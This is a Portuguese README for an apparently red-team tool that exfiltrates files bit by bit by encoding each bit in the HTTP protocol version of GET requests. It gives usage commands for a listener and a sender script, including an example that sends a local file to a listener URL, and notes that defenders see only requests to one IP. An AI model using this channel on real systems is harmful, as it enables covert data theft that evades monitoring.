
Exfiltrar arquivos usando a versão do protocolo HTTP ("HTTP/1.0" é 0 e "HTTP/1.1" é 1)
Use a versão do protocolo HTTP para enviar um arquivo bit a bit ("HTTP/1.0" é um 0 e "HTTP/1.1" é um 1). Utiliza requisições GET, então a Equipe Azul veria apenas as solicitações para o seu endereço IP. No entanto, leva muito tempo para enviar arquivos maiores, por exemplo, precisa de 1 hora para enviar 200 KB, e a quantidade de requisições seria muito alta (8 vezes o número de bytes do arquivo).

Para executar o listener, use listener.py com um argumento opcional: a porta em que estará ouvindo.
python3 listener.py [PORT]
Exemplo:
python3 listener.py 8080
Para enviar um arquivo, use sender.py com dois argumentos obrigatórios: o caminho do arquivo e a URL do listener; e um argumento opcional: o nome do arquivo criado remotamente (se não for usado, o nome do arquivo de entrada é utilizado).
python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]
Exemplo:
python3 sender.py -u "http://127.0.0.1:8080" -i test.txt -o updated_test.txt
Primeiro o arquivo é enviado:

Se a variável debug estiver definida como True (o padrão), você pode ver os valores binários nas mensagens de log do listener:

O novo arquivo é criado com o conteúdo do arquivo de entrada:

Acho (não tenho certeza) que li alguém no Twitter que afirmou ter usado isso para exfiltrar dados e gostei da ideia; se você é essa pessoa, me avise.